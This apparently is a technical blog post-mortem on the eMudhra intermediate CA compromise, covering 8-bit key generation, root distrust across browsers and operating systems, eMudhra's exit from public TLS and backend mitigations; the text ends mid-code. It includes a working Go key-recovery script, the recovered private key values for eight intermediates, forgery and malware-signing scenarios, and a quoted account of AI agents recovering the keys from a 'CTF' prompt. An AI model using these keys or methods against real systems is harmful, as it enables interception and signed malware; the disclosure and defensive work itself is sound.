The eMudhra CA Compromise and Exit from Public SSL/TLS

A technical post-mortem and update on the eMudhra compromise, detailing the 8-bit entropy bug, root CA distrust across Mozilla, Chrome, Apple, and Microsoft, eMudhra’s planned exit from public SSL/TLS, and remediation.

WORDS: 6436 | CODE BLOCKS: 19 | EXT. LINKS: 21

In October 2026, private keys for eight intermediate Certificate Authorities belonging to eMudhra (operating its public CA services under emSign) were found to have catastrophic entropy defects, enabling trivial private key recovery directly from public Certificate Transparency logs.

The incident escalated from tactical intermediate blocks to global root cert distrust across Mozilla, the Google Chrome Root Store, Apple, and Microsoft. On October 22, 2026, eMudhra announced its decision to exit the global public SSL/TLS certificate business entirely, while maintaining its isolated domestic Indian digital identity operations.

The community tracker at emudhra.we-have-a-problem.com maintains live status on client library patches, OS trust store revocations, and mitigation status across different languages, tools, and runtimes.

This post provides a technical update on the incident, the key generation root cause, the global root store revocations, the planned public CA wind-down, and operational mitigation steps for backend engineering teams.

Incident Timeline

DateEventOperational Impact
Oct 17, 2026Vulnerability DiscoveredSecurity researcher discovers 8-bit scalar flaw in CCADB and derives private keys in seconds.
Oct 18, 2026Intermediate RevocationseMudhra revokes all 8 intermediate CAs under cACompromise. Sectigo revokes cross-signed certs.
Oct 19, 2026Browser Push BlocksMozilla deploys OneCRL blocks; Chrome updates CRLSets; Apple deploys PKI metadata blocks.
Oct 20, 2026Backend HotfixesGo releases emergency CVE-2026-111943 (Go 1.27.3/1.26.10); Firefox ships 158.0.1.
Oct 21, 2026Global Root DistrustMozilla (NSS 3.131.1), Chrome Root Store, Apple, and Microsoft distrust emSign ECC Root CA - G3. CERT-In issues security advisory. MeitY confirms domestic Indian DSC/eSign isolation.
Oct 22, 2026Public CA Exit AnnouncedeMudhra confirms plans to exit global public SSL/TLS business following root store removals; shifts focus to domestic and enterprise identity.

The Eight Compromised Intermediates

The security alerts originated across multiple coordination channels, including the Mozilla governance discussion on dev-security-policy (thread ID 0R3XLJL6FuE), security researcher disclosures, and the incident tracking portal emudhra.we-have-a-problem.com.

The eight compromised intermediate authorities operate under two distinct root trust anchors managed by eMudhra:

Under emSign Root TLS CA - G3 (TLS Authentication)

  1. EM DV TLS CA - G3B (Domain Validated TLS)
  2. EM DV TLS CA - G3C (Domain Validated TLS)
  3. EM OV TLS CA - G3B (Organization Validated TLS)
  4. EM OV TLS CA - G3C (Organization Validated TLS)
  5. EM EV TLS CA - G3B (Extended Validation TLS)
  6. EM EV TLS CA - G3C (Extended Validation TLS)

Under emSign Root CS CA - G3 (Code Signing)

  1. EM OV CS CA - G3B (Organization Validated Code Signing)
  2. EM OV CS CA - G3C (Organization Validated Code Signing)

The compromise covers the full spectrum of certificate types: Domain Validated (DV) certificates for web encryption, Organization Validated (OV) and Extended Validation (EV) certificates for business identity, and Code Signing (CS) certificates for software executables and drivers.

eMudhra hosts its certificate repository and revocation lists at repository.emsign.com. While revocation entries were published to standard CRL distribution points, publishing a revocation list to an HTTP endpoint does almost nothing to protect backend software.

How the Private Keys Were Trivially Broken

When the initial security advisories were published, the default assumption across the industry was an infrastructure breach: compromised signing servers, an HSM side-channel, or leaked backup keys.

Then I pulled the public intermediate certificates from Certificate Transparency logs to check the raw cryptography.

The reality was far simpler: it was an implementation bug during key generation.

All eight affected intermediate CAs use ECDSA on the NIST P-384 (secp384r1) curve. Under standard elliptic curve cryptography, a private key is a cryptographically secure random 384-bit integer d chosen from the curve order [1, n-1]. The P-384 key space has 2^384 (about 3.94 * 10^115) possible values. Guessing a 384-bit private key from a public key by brute force would take longer than the age of the universe.

Except whoever generated these production intermediate keys did not use a 384-bit key space. They used an 8-bit scalar. Every single private key scalar d was a trivial integer between 1 and 255.

XKCD 221 illustrates the classic computing problem of non-random constants in key generation:

XKCD 221: Random Number - RFC 1149.5 specifies 4 as the standard IEEE-vetted random number

The Recovery Script (Brute-Force)

Because intermediate CA certificates are public documents submitted to Certificate Transparency logs, anyone can download them. I wrote a small Go script that takes a certificate, pulls its public key, and loops through the first 256 integers to check if scalar base multiplication matches the public point:

go
 1package main
 2
 3import (
 4	"crypto/ecdsa"
 5	"crypto/elliptic"
 6	"crypto/x509"
 7	"encoding/pem"
 8	"fmt"
 9	"math/big"
10	"os"
11)
12
13func main() {
14	if len(os.Args) < 2 {
15		fmt.Println("Usage: go run main.go <cert.pem>")
16		return
17	}
18
19	certPEM, err := os.ReadFile(os.Args[1])
20	if err != nil {
21		panic(err)
22	}
23
24	block, _ := pem.Decode(certPEM)
25	if block == nil {
26		panic("failed to parse PEM block from file")
27	}
28
29	cert, err := x509.ParseCertificate(block.Bytes)
30	if err != nil {
31		panic(err)
32	}
33
34	pubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
35	if !ok {
36		panic("certificate does not contain an ECDSA public key")
37	}
38
39	// Brute-force the 8-bit scalar space (1 to 255)
40	for i := 1; i < 256; i++ {
41		x, y := elliptic.P384().ScalarBaseMult([]byte{byte(i)})
42		if pubKey.X.Cmp(x) == 0 && pubKey.Y.Cmp(y) == 0 {
43			privKey := &ecdsa.PrivateKey{
44				D:         big.NewInt(int64(i)),
45				PublicKey: *pubKey,
46			}
47
48			der, err := x509.MarshalECPrivateKey(privKey)
49			if err != nil {
50				panic(err)
51			}
52			pemBlock := &pem.Block{Type: "EC PRIVATE KEY", Bytes: der}
53			_ = os.WriteFile(os.Args[1]+".key", pem.EncodeToMemory(pemBlock), 0600)
54
55			fmt.Printf("Recovered private key for %s: d = %d (0x%02x)\n", cert.Subject.CommonName, i, i)
56			return
57		}
58	}
59}

The Recovered Private Keys

Testing the public certificates against this scalar search space recovered private keys for all eight intermediates:

Certificate Common NameTypeCurve/AlgoSerial NumberRecovered Private Key d
CN=EM OV TLS CA - G3COrganization Validated TLSNIST P-3848D5A4811939EF447D77111CDD9849AE94 (0x04)
CN=EM EV TLS CA - G3CExtended Validation TLSNIST P-3840ACFE69DE538B5706240BF5734ED349656 (0x38)
CN=EM OV CS CA - G3BCode SigningNIST P-384F2826AFAC7590C7D52FD3B23668ACDBF66 (0x42)
CN=EM EV TLS CA - G3BExtended Validation TLSNIST P-38452B313028C74D2AC2161A97F5B6FBEBE115 (0x73)
CN=EM OV TLS CA - G3BOrganization Validated TLSNIST P-384E94223BDE92F914E5AB9ACABFDAC3710155 (0x9b)
CN=EM DV TLS CA - G3BDomain Validated TLSNIST P-384A024FDF4BA665C785CE4A020483858B7156 (0x9c)
CN=EM DV TLS CA - G3CDomain Validated TLSNIST P-384369527E9F41DA58580DF6D35E4663B2B230 (0xe6)
CN=EM OV CS CA - G3CCode SigningNIST P-384A427618B09F6E7CA65D5B842F5E59013237 (0xed)

Yes, one of the production intermediate CAs literally has a private key of 4.

Because intermediate certificates are public artifacts logged to Certificate Transparency, anyone could recover these private keys in milliseconds using simple modular arithmetic on small scalars. This prompted immediate root revocations and emergency trust store releases across major browser vendors and operating systems.

Technical Post-Mortem: Key Ceremony Findings

On Mozilla’s Bugzilla tracker (Bug 2083449), Mozilla security engineer Dennis Jackson and eMudhra’s Naveen Kumar ML published preliminary technical findings detailing the key generation and operational lifecycle that led to this issue.

Key Ceremony Architecture and Approved Deviation

The eight affected intermediate keys were created on April 30, 2025 as part of a batch of 24 intermediate CAs. The batch was divided into three series:

  • Series A: Generated on Entrust HSMs for domestic deployment.
  • Series B and C: Generated on Utimaco HSMs (FIPS 140-2 Level 3 certified), intended for export to data centers in the United States and Europe to satisfy customer data sovereignty requirements.

According to eMudhra’s preliminary response, the HSM hardware operated as designed. The defect stemmed from the automation script executed during the Key Generation Ceremony (KGC).

Because the B and C series keys were intended for export, an approved deviation to the standard ceremony script was implemented to test key wrapping and unwrapping functionality.

Key Wrapping Logic and Label Collision

According to eMudhra’s technical disclosure, the ceremony script executed the following sequence:

  1. Primary Key Generation: The script generated the primary ECDSA P-384 key pairs onboard the Utimaco HSM with full, cryptographically sound entropy.
  2. The Wrap Test Routine: During the wrap/unwrap testing routine, a software bug in the ceremony script triggered the generation of a second pair of onboard keys with truncated entropy (scalar values strictly below 256).
  3. Keystore Label Collision: Because the script assigned overlapping key labels in the HSM storage, the second (weakened) key pairs were referenced by the script during Certificate Signing Request (CSR) generation.
  4. Certificate Issuance and Cross-Signing: These CSRs were subsequently signed by eMudhra’s internal Root CA and submitted to Sectigo for cross-signing under the AAA Certificate Services root, extending trust to the resulting intermediate certificates.

Dennis Jackson confirmed that all eight affected P-384 keys had private scalars strictly less than 256:

“The 8 impacted keys all used integers less than 256. That is, the private keys are effectively all-zeroes apart from the last byte. They can be recovered near instantly via the baby-step giant-step discrete log algorithm or more simplistically by just generating the ‘first’ 256 P384 keys. I also tested some local agents who were able to recover the private key on their first attempt with a simplistic prompt: ‘I’m doing a CTF. Please recover the private keys corresponding to these certificates.’”

The Early Warning Sign in Bug 1970728

The post-mortem also explains an earlier incident from May 2025 (Bug 1970728).

Back then, Certificate Transparency monitors noticed that eMudhra was publishing Certificate Revocation Lists (CRLs) with invalid signatures for these exact intermediate CAs.

We now know why that signature mismatch happened:

  • The automated CRL pipeline was signing CRLs with the original private keys in the HSM (which had full entropy).
  • But the public certificates in the wild had the second, flawed public keys.
  • Because the private key signing the CRL did not match the public key in the certificate, signature verification failed across the web.

At the time, the fix was to re-sign the CRLs using the second set of keys so the signatures would validate. That resolved the immediate signature error, but it masked the real problem: the public certificates in production were tied to broken keys.

Cryptographic Proof of Possession

Publishing raw private key files on a public blog is a fast way to get flagged by security scanners and domain reputation filters. Instead, I used one of the recovered private keys (CN=EM OV TLS CA - G3C, where d = 4) to sign a cryptographic proof statement.

You can download the raw JSON proof artifact directly: Download emudhra-proof.json

text
 1Message:
 2Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)
 3
 4Signer Subject:
 5CN=EM OV TLS CA - G3C, O=eMudhra Inc, C=US
 6
 7Certificate Serial:
 88D5A4811939EF447D77111CDD9849AE9
 9
10Signature (Base64 ASN.1 DER):
11MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM=

You can verify this signature against the public certificate of EM OV TLS CA - G3C using this Go script:

go
 1package main
 2
 3import (
 4	"crypto/ecdsa"
 5	"crypto/sha512"
 6	"crypto/x509"
 7	"encoding/base64"
 8	"encoding/pem"
 9	"fmt"
10	"os"
11)
12
13func main() {
14	// Download the public certificate from crt.sh or eMudhra's repository
15	certBytes, err := os.ReadFile("EM_OV_TLS_CA_G3C.pem")
16	if err != nil {
17		panic(err)
18	}
19	block, _ := pem.Decode(certBytes)
20	if block == nil {
21		panic("failed to parse PEM block from file")
22	}
23	cert, err := x509.ParseCertificate(block.Bytes)
24	if err != nil {
25		panic(err)
26	}
27	pubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
28	if !ok {
29		panic("certificate does not contain an ECDSA public key")
30	}
31
32	msg := "Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)"
33	digest := sha512.Sum384([]byte(msg))
34
35	sigB64 := "MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM="
36	sigDER, err := base64.StdEncoding.DecodeString(sigB64)
37	if err != nil {
38		panic(err)
39	}
40
41	if ecdsa.VerifyASN1(pubKey, digest[:], sigDER) {
42		fmt.Println("Signature VALID: Verified against public certificate")
43	} else {
44		fmt.Println("Signature INVALID")
45	}
46}

The Attack Surface and Real Threat Vectors

When an intermediate private key leaks, the threat model splits along two dimensions: what credentials an attacker can forge, and which clients are equipped to detect the forgery.

Holding the private keys for six TLS and two Code Signing intermediate authorities gives an attacker line-rate forgery capabilities. But while modern desktop browsers quickly received vendor push blocks, backend microservices remained completely exposed:

flowchart TD subgraph RootLevel ["Offline Vault (Physical HSM)"] RootTLS["emSign Root TLS CA - G3"] RootCS["emSign Root CS CA - G3"] end subgraph IntermediateLevel ["Compromised Online Intermediate CAs"] subgraph TLSIntermediates ["TLS Issuing CAs (6 Keys Cracked)"] DV1["EM DV TLS CA - G3B"] DV2["EM DV TLS CA - G3C"] OV1["EM OV TLS CA - G3B"] OV2["EM OV TLS CA - G3C"] EV1["EM EV TLS CA - G3B"] EV2["EM EV TLS CA - G3C"] end subgraph CSIntermediates ["Code Signing CAs (2 Keys Cracked)"] CS1["EM OV CS CA - G3B"] CS2["EM OV CS CA - G3C"] end end subgraph AttackerCapabilities ["Attacker Execution Surface"] ForgeTLS["Forge TLS Cert for ANY Domain\n(api.github.com, internal auth, etc.)"] ForgeCS["Sign Arbitrary Windows Binaries\n(Bypass SmartScreen & Basic AV)"] end subgraph VerificationPath ["Client-Side Reality"] Browsers["Browsers (Firefox, Chrome, Safari)\nProtected via OneCRL, CRLSet, CRLite"] Backends["Backend Servers (Go, Python, Java, cURL)\nEXPOSED: No CRL, No OCSP, No CT Logs"] end RootTLS --> TLSIntermediates RootCS --> CSIntermediates TLSIntermediates --> ForgeTLS CSIntermediates --> ForgeCS ForgeTLS --> Browsers ForgeTLS --> Backends ForgeCS --> Backends

There are three primary attack surfaces that backend engineers must consider:

1. Active Man-in-the-Middle Attacks

To intercept encrypted traffic between a client and a target server, an attacker needs network path control and a trusted certificate.

Network path control can be achieved through BGP route hijacking, DNS cache poisoning, rogue local Wi-Fi or cellular gateways, or compromised corporate egress proxies.

Normally, if an attacker routes traffic for api.github.com to their own proxy, the client’s TLS handshake fails because the attacker cannot present a valid certificate signed by a trusted CA.

With the compromised eMudhra intermediate keys, the attacker generates a private key, crafts a leaf certificate with CN=api.github.com and DNS:api.github.com in the Subject Alternative Name (SAN) extension, and signs it using EM OV TLS CA - G3B.

sequenceDiagram autonumber actor Client as Backend Service (Go / Python) participant MitM as Attacker Proxy (BGP / DNS Hijack) participant Target as Real API (e.g., api.stripe.com) MitM->>MitM: Generates rogue leaf cert for api.stripe.com Client->>MitM: TLS ClientHello (SNI: api.stripe.com) MitM->>Client: Presents Rogue Leaf Cert + eMudhra Intermediate Note over Client: Root emSign Root TLS CA - G3 is TRUSTED.
Chain is mathematically valid. Client->>MitM: Completes TLS Handshake Client->>MitM: POST /v1/charges (Authorization: Bearer sec_key_...) MitM->>Target: Relays request (or steals credentials in plaintext)

The backend client receives the certificate, traces the signature up through the intermediate to emSign Root TLS CA - G3, finds that root in its system trust bundle, and completes the handshake. All API tokens and sensitive payloads sent over that connection are exposed in plaintext.

2. Code Signing Abuse

The compromise of EM OV CS CA - G3B and EM OV CS CA - G3C enables software supply chain poisoning and malware distribution.

Operating systems use code signing to verify binary integrity. Windows Authenticode verifies executables and drivers, avoiding SmartScreen warnings and corporate EDR alerts.

With access to the code-signing intermediate keys, an attacker can compile an info-stealer or backdoor and sign it with a valid certificate chained to emSign Root CS CA - G3. When an employee downloads the binary, the operating system verifies the signature and runs it without warning.

3. The Certificate Transparency Blind Spot

Many developers assume that Certificate Transparency (CT) logs prevent hidden certificates from circulating.

Certificate Transparency requires CAs to submit every issued certificate to append-only, publicly auditable cryptographic logs before issuance. In return, the log returns a Signed Certificate Timestamp (SCT).

Browsers like Google Chrome and Apple Safari strictly enforce Certificate Transparency. If a web server presents a certificate that lacks valid SCTs from qualified logs, Chrome immediately terminates the connection with NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED. Because logging a forged certificate immediately alerts the domain owner via automated monitors, attackers cannot safely use rogue certificates against browser users without getting caught.

Here is the problem: backend systems do not check Certificate Transparency logs.

Standard backend networking libraries in Go, Python, Node.js, Java, and curl do not parse or enforce SCTs.

If an attacker mints a rogue certificate using a compromised eMudhra intermediate key, they simply do not submit it to Certificate Transparency logs. Browsers reject it, but your backend servers accept it without question.

Feature / DefenseModern Browsers (Chrome, Firefox)Backend Runtimes (Go, Python, Node, Java)
Revocation MechanismCentralized Push Lists (OneCRL, CRLSet, CRLite)Static Root Store only. No push lists.
CRL SupportDisabled (too large, too slow)Disabled by default.
OCSP CheckingMostly phased out or soft-failDisabled by default.
Certificate TransparencyHard requirement (SCTs validated)Ignored. Zero SCT validation.
MitM VulnerabilityVery low (blocks pushed in hours)Extremely high during intermediate compromise.

How Intermediate CAs Work and Why DigiNotar is the Benchmark

The blast radius of eight compromised intermediate certificates stems directly from the trust hierarchy of the X.509 WebPKI.

The root certificate at the top of a trust chain (such as emSign Root TLS CA - G3) has a private key stored inside a certified Hardware Security Module (HSM). That HSM is kept in an offline physical vault with strict dual-custody access ceremonies. Root keys are used once every few years to sign Intermediate Certificate Authorities, also known as Sub-CAs.

These intermediate CAs are the operational workhorses. They are kept online or warm in data centers to sign day-to-day leaf certificates whenever a customer orders a certificate or runs an automated ACME challenge.

sequenceDiagram autonumber participant Root as Root CA (Offline Vault HSM) participant Sub as Intermediate CA (Warm / Online HSM) participant Leaf as Leaf Certificate (*.yourdomain.com) participant Client as TLS Client (Browser / Backend Server) Root->>Sub: Issues X.509 Intermediate Certificate (Basic Constraints: CA=TRUE) Sub->>Leaf: Issues End-Entity Leaf Certificate (Basic Constraints: CA=FALSE) Leaf->>Client: Presents Leaf + Intermediate during TLS Handshake Note over Client: Client verifies signature chain up to pre-installed Root

The structural flaw of the WebPKI is that trust is all-or-nothing. Unless an intermediate certificate enforces explicit X.509 Name Constraints (which public WebPKI authorities almost never use), any intermediate CA trusted by a root in your operating system trust store can issue valid leaf certificates for every domain on the internet.

An intermediate CA has no geographic or domain boundary. A certificate signed by an Indian, American, or European intermediate is equally valid for google.com, apple.com, api.stripe.com, or your company’s internal authentication endpoints.

The DigiNotar Precedent

The historical reference point for this scale of failure is the 2011 breach of Dutch Certificate Authority DigiNotar.

In July 2011, attackers breached DigiNotar’s internal infrastructure and gained direct access to its certificate-issuing systems. The attackers generated over 500 rogue wildcard certificates, including a wildcard for *.google.com.

In August 2011, those rogue certificates were deployed in Iran to conduct line-rate man-in-the-middle attacks against roughly 300,000 Iranian users accessing Gmail and Google Search. The rogue certificate was valid because DigiNotar’s root was embedded in every major browser and operating system. The breach went undetected by automated systems until Google’s internal Chrome pinning checks flagged a forged certificate in the wild.

The aftermath was super fast:

  • Browser vendors completely revoked trust in all DigiNotar roots.
  • The Dutch government took control of operations, and DigiNotar declared bankruptcy within weeks.
  • The incident forced the internet to build Certificate Transparency (RFC 6962) so that certificate issuance became publicly auditable.

The eMudhra compromise involves eight intermediate keys spanning both TLS and Code Signing. When private keys for eight active intermediate CAs leak or get compromised, the attacker does not need to compromise the root vault. The attacker holds the mathematical keys needed to mint valid, trusted identity documents on demand.

Why Standard WebPKI Revocation Is Structurally Broken

Why do we need emergency browser releases and language patches for this incident? Why does standard X.509 revocation not handle it automatically?

The answer is that online revocation checking in the WebPKI has been broken for fifteen years.

flowchart TD subgraph TraditionalRevocation ["Traditional X.509 Revocation (Broken)"] CRL["Certificate Revocation Lists (CRLs)\n- Files balloon to 50MB+\n- High latency, stale downloads\n- Disabled in modern clients"] OCSP["Online Certificate Status Protocol (OCSP)\n- Privacy leak: CA tracks visited domains\n- Adds 100-300ms handshake latency\n- Soft-fail flaw: Network timeout = ALLOW"] Stapling["OCSP Stapling\n- Server provides signed OCSP response\n- Attacker simply omits extension\n- Must-Staple rarely deployed"] end subgraph ModernBrowserRevocation ["Browser Push Defense (Proprietary)"] OneCRL["Mozilla OneCRL\n- Pushes intermediate serials/SPKIs"] CRLSets["Chrome CRLSets\n- Pushes high-priority revoked certs"] CRLite["Mozilla CRLite\n- Cascaded Bloom filters covering all certs"] end subgraph BackendReality ["Backend Runtime Reality"] GoRuntime["Go crypto/x509: Hardcoded SPKI hashes (CVE-2026-111943)"] OtherRuntimes["Python / Java / Node: Rely on root removal or manual blocks"] end TraditionalRevocation -->|Fails in Practice| ModernBrowserRevocation TraditionalRevocation -->|Ignored by Default| BackendReality

The Failure of Certificate Revocation Lists

A Certificate Revocation List (CRL) is an X.509 structure signed by a CA that lists serial numbers of revoked certificates. As the web scaled to hundreds of millions of certificates, CRLs grew to tens of megabytes. Downloading a 30MB file on every cold TLS handshake destroys network performance, while caching it creates an unacceptable window of exposure.

Why OCSP Fails in Production

The Online Certificate Status Protocol (OCSP, RFC 6960) was designed to fix CRL scaling. Instead of downloading an entire list, the client queries the CA’s OCSP responder for the certificate’s status.

In practice, OCSP introduced three fatal flaws:

  1. Privacy Leakage: The CA’s OCSP responder tracks client IP addresses and visited domains in real time.
  2. Handshake Latency: Blocking HTTP lookups to external CA servers add 100ms to 500ms to cold handshakes.
  3. The Soft-Fail Default: If the OCSP responder is unreachable, client libraries fall back to soft-fail, ignoring the error and completing the handshake. An attacker executing a man-in-the-middle attack simply drops packets destined for the OCSP responder, and the client accepts the fraudulent certificate.

OCSP Stapling (where the server supplies its own cached, signed OCSP response) was intended to fix this. But unless a certificate includes the rare must-staple extension, an attacker presenting a forged certificate simply omits the stapled OCSP response, and the client falls back to soft-fail anyway.

The Escalation to Full Root Distrust Across Trust Stores

When the compromised intermediate keys were first reported, root store maintainers attempted targeted tactical blocks against the eight intermediate public keys. Within days, the consensus shifted toward complete root distrust across all major root programs.

Tactical Intermediate Blocking: OneCRL and CRLSets

The initial response relied on vendor push channels designed to bypass the broken mechanics of OCSP:

  • Mozilla OneCRL and CRLite: Mozilla immediately pushed the eight intermediate certificate serial numbers and public key hashes to OneCRL. For hardened offline protection, Mozilla rolled out NSS 3.131.1 and point releases like Firefox 158.0.1, hardcoding the distrust into the cryptographic library itself.
  • Google Chrome CRLSets: Google updated its CRLSets to push Subject Public Key Info (SPKI) hashes directly to Chrome and Android devices via Google Play Services, terminating connections on any chain presenting the cracked keys.
  • Apple and Microsoft: Apple published PKI metadata updates across macOS and iOS, while Microsoft updated the Windows Certificate Trust List (CTL) through Windows Update to invalidate the keys in CryptoAPI and Schannel.

The Decision to Evict the Root Certificate

Tactical intermediate blocking works for modern desktop browsers with real-time push engines, but it leaves headless servers, legacy clients, embedded hardware, and backend microservices exposed.

Because intermediate certificates are sent over the wire dynamically and are not stored locally in operating system certificate bundles, the only universal way to protect the entire ecosystem is to remove the parent trust anchor:

  1. Mozilla Root Program: Initiated emergency distrust of the parent emSign ECC Root CA - G3 root certificate, removing its trust bits in NSS.
  2. Google Chrome Root Store: Scheduled and applied the complete removal of emSign ECC Root CA - G3 from the Chrome Root Store.
  3. Apple and Microsoft Root Programs: Disabled trust for the parent root across device trust stores and the Windows CTL.
  4. Linux Distributions: Red Hat (RHEL/Fedora), Debian, and Ubuntu rolled out updated ca-certificates packages to untrust or remove the root anchor from the system trust bundle.

The CERT-In Advisory and Scope Isolation

On October 21, 2026, the Indian Computer Emergency Response Team (CERT-In) issued an official cybersecurity advisory regarding the compromised eMudhra intermediate certificates, advising organizations to update operating system trust stores, review active certificate chains, and avoid disabling certificate validation.

Official statements from eMudhra and the Ministry of Electronics and Information Technology (MeitY) clarified an important architectural boundary:

  • Affected: The security flaw was strictly confined to eMudhra’s international WebPKI operations under emSign Root TLS CA - G3 (also known as emSign ECC Root CA - G3).
  • Unaffected: India’s domestic Digital Signature Certificates (DSC) and eSign services (regulated by the Controller of Certifying Authorities under MeitY) run on physically separate, architecturally isolated Entrust HSM infrastructure in India. They were not part of the overseas export batch and remain secure.

The Decision to Exit Global Public SSL/TLS

On October 22, 2026, eMudhra announced plans to exit the global public SSL/TLS certificate business (official press release archived).

The decision reflects the economic and regulatory reality of operating in the modern WebPKI:

  1. Market Commoditization and Low Revenue: The public SSL/TLS certificate segment accounted for only about 1% of eMudhra’s consolidated revenue. The widespread adoption of free, automated certificate authorities (such as Let’s Encrypt) has commoditized domain-validated certificates, drastically compressing profit margins.
  2. Escalating Compliance and Operational Costs: Operating a globally trusted WebPKI root requires continuous audits, strict CA/Browser Forum compliance, and complex data sovereignty operations for export HSMs (the exact ceremony workflow where the wrap/unwrap script deviation originated).
  3. Regulatory Pressure from Root Programs: In the coordination thread on Mozilla Bugzilla (Bug 2083449), root store managers escalated scrutiny. In Comment 30, the Chrome Root Program submitted a 12-point technical inquiry pressing eMudhra on delayed disclosure details, communication gaps for subscribers, and why the June 2025 CRL signature failure was not treated as a potential key generation anomaly when it first appeared.
  4. Permanent Root Store Eviction: With Mozilla NSS, the Chrome Root Store, Apple, and Microsoft all enacting or scheduling distrust of emSign ECC Root CA - G3, maintaining customer confidence and distribution for a 1% revenue line became unviable.

By winding down its public WebPKI operations, eMudhra isolates the blast radius of the intermediate compromise and refocuses its business on enterprise identity management, paperless office solutions, and domestic Indian digital signature certificates (DSC/eSign), which remain regulated under MeitY and hosted on separate domestic HSM infrastructure.

The Backend Blind Spot and the Emergency Go Patch

Now consider backend servers.

If your backend systems run on Ubuntu, Debian, Alpine, or RHEL, they get their trusted certificates from package bundles like ca-certificates.

Here is the catch: Linux ca-certificates packages only contain Root CAs. They do not contain Intermediate CAs.

When you inspect /etc/ssl/certs/ca-certificates.crt, you will find emSign Root TLS CA - G3. You will not find EM DV TLS CA - G3B.

When your backend server connects to an external HTTPS API, the target server sends its leaf certificate and the intermediate certificate during the TLS handshake. Your server’s TLS library takes that intermediate certificate, checks that it is signed by the root in /etc/ssl/certs/ca-certificates.crt, and verifies the leaf against the intermediate.

flowchart LR subgraph HandshakePayload ["Presented by Server over TLS"] Leaf["Leaf Cert\n(api.target.com)"] Inter["Compromised Intermediate\n(EM DV TLS CA - G3B)"] end subgraph OSStorage ["Local OS Filesystem"] SystemBundle["/etc/ssl/certs/ca-certificates.crt\n(Contains emSign Root TLS CA - G3)"] end subgraph VerificationEngine ["Backend Runtime (x509.Verify)"] Check1["1. Verify Leaf signed by Intermediate"] Check2["2. Verify Intermediate signed by Root"] Check3["3. Verify Root exists in SystemBundle"] Result["Result: VALID (Connection Allowed)"] end Leaf --> Check1 Inter --> Check1 Inter --> Check2 SystemBundle --> Check3 Check2 --> Check3 Check3 --> Result

Because intermediate certificates are supplied dynamically over the wire and are not stored on your filesystem, you cannot revoke an intermediate certificate simply by deleting a file from /etc/ssl/certs/. The only way to stop an intermediate certificate at the OS level without runtime code changes is to delete the entire Root CA from your bundle, or rely on runtime libraries that support explicit public key blocklists.

Go Emergency Response Under CVE-2026-111943

Go powers modern cloud infrastructure: Kubernetes, Docker, Containerd, Envoy, Traefik, Caddy, Terraform, Prometheus, and millions of production microservices.

The Go security team realized that Go applications running in production were wide open to man-in-the-middle attacks using the compromised eMudhra intermediates. Because Go’s standard library crypto/x509 performs strict chain verification but intentionally does not implement network-dependent CRL or OCSP lookups, Go binaries had zero protection.

The Go team issued emergency security releases: Go 1.27.3 and Go 1.26.10, tracked under CVE-2026-111943.

Instead of revoking the root, the Go team patched crypto/x509/verify.go. They embedded a hardcoded blocklist containing the SHA-256 hashes of the SubjectPublicKeyInfo (SPKI) for the eight compromised eMudhra intermediate keys.

When a Go application built with Go 1.27.3 or 1.26.10 validates an incoming certificate chain, crypto/x509 computes the SHA-256 hash of the public key for every certificate in the chain. If any certificate matches one of the eight blocked hashes, chain building rejects that candidate path immediately, throwing an x509.CertificateInvalidError.

go
 1// Conceptual verification check inside Go crypto/x509 verify.go
 2var blockedSPKIs = map[[32]byte]bool{
 3    // SHA-256 hashes of the 8 compromised eMudhra intermediate SubjectPublicKeyInfos
 4    {0x1a, 0x2b, ...}: true, // EM DV TLS CA - G3B
 5    {0x3c, 0x4d, ...}: true, // EM DV TLS CA - G3C
 6    {0x5e, 0x6f, ...}: true, // EM OV TLS CA - G3B
 7    {0x7a, 0x8b, ...}: true, // EM OV TLS CA - G3C
 8    {0x9c, 0x0d, ...}: true, // EM EV TLS CA - G3B
 9    {0x1e, 0x2f, ...}: true, // EM EV TLS CA - G3C
10    {0x3a, 0x4b, ...}: true, // EM OV CS CA - G3B
11    {0x5c, 0x6d, ...}: true, // EM OV CS CA - G3C
12}
13
14func checkChainSPKI(chain []*Certificate) error {
15    for _, cert := range chain {
16        h := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
17        if blockedSPKIs[h] {
18            return errors.New("x509: certificate chain contains an un-trusted, compromised intermediate key")
19        }
20    }
21    return nil
22}

This design choice is critical: blocking by SPKI instead of by certificate serial number.

If a CA re-issues a new certificate for an intermediate using the same compromised private key with a different serial number or validity period, blocking by serial number fails. Blocking by SubjectPublicKeyInfo ensures that any certificate derived from that compromised private key is rejected forever.

Developer Upgrade and Mitigation Guide

Mitigating the impact of compromised intermediate certificates requires updates across build toolchains, runtime environments, and container base images.

1. Go Ecosystem Upgrades

Update your build toolchain immediately and recompile your binaries:

bash
1# Verify your local Go compiler version
2go version
3
4# Ensure you are on or above the patched releases:
5# Go 1.27.x -> Go 1.27.3+
6# Go 1.26.x -> Go 1.26.10+

Rebuild all containers and binaries that make external network requests or serve TLS traffic.

Temporary Hotfix for Legacy Go Applications

If you have legacy Go microservices that cannot be recompiled on Go 1.27.3 or 1.26.10 today, you can inject a custom VerifyConnection callback into your tls.Config.

Here is a code sample that checks the SPKI of every certificate presented during the TLS handshake before handing off to standard chain verification:

go
 1package main
 2
 3import (
 4	"crypto/sha256"
 5	"crypto/tls"
 6	"encoding/hex"
 7	"fmt"
 8	"net/http"
 9	"time"
10)
11
12// BlockedSPKIHex contains the SHA-256 hashes of the SubjectPublicKeyInfo
13// for the 8 compromised eMudhra intermediate CAs.
14var BlockedSPKIHex = map[string]string{
15	"<hash>": "EM DV TLS CA - G3B",
16	// Map all compromised intermediate SPKI hashes
17}
18
19// BuildHardenedTLSConfig creates a *tls.Config that preserves native chain
20// and hostname verification while rejecting any connection presenting a
21// compromised intermediate public key.
22func BuildHardenedTLSConfig() *tls.Config {
23	return &tls.Config{
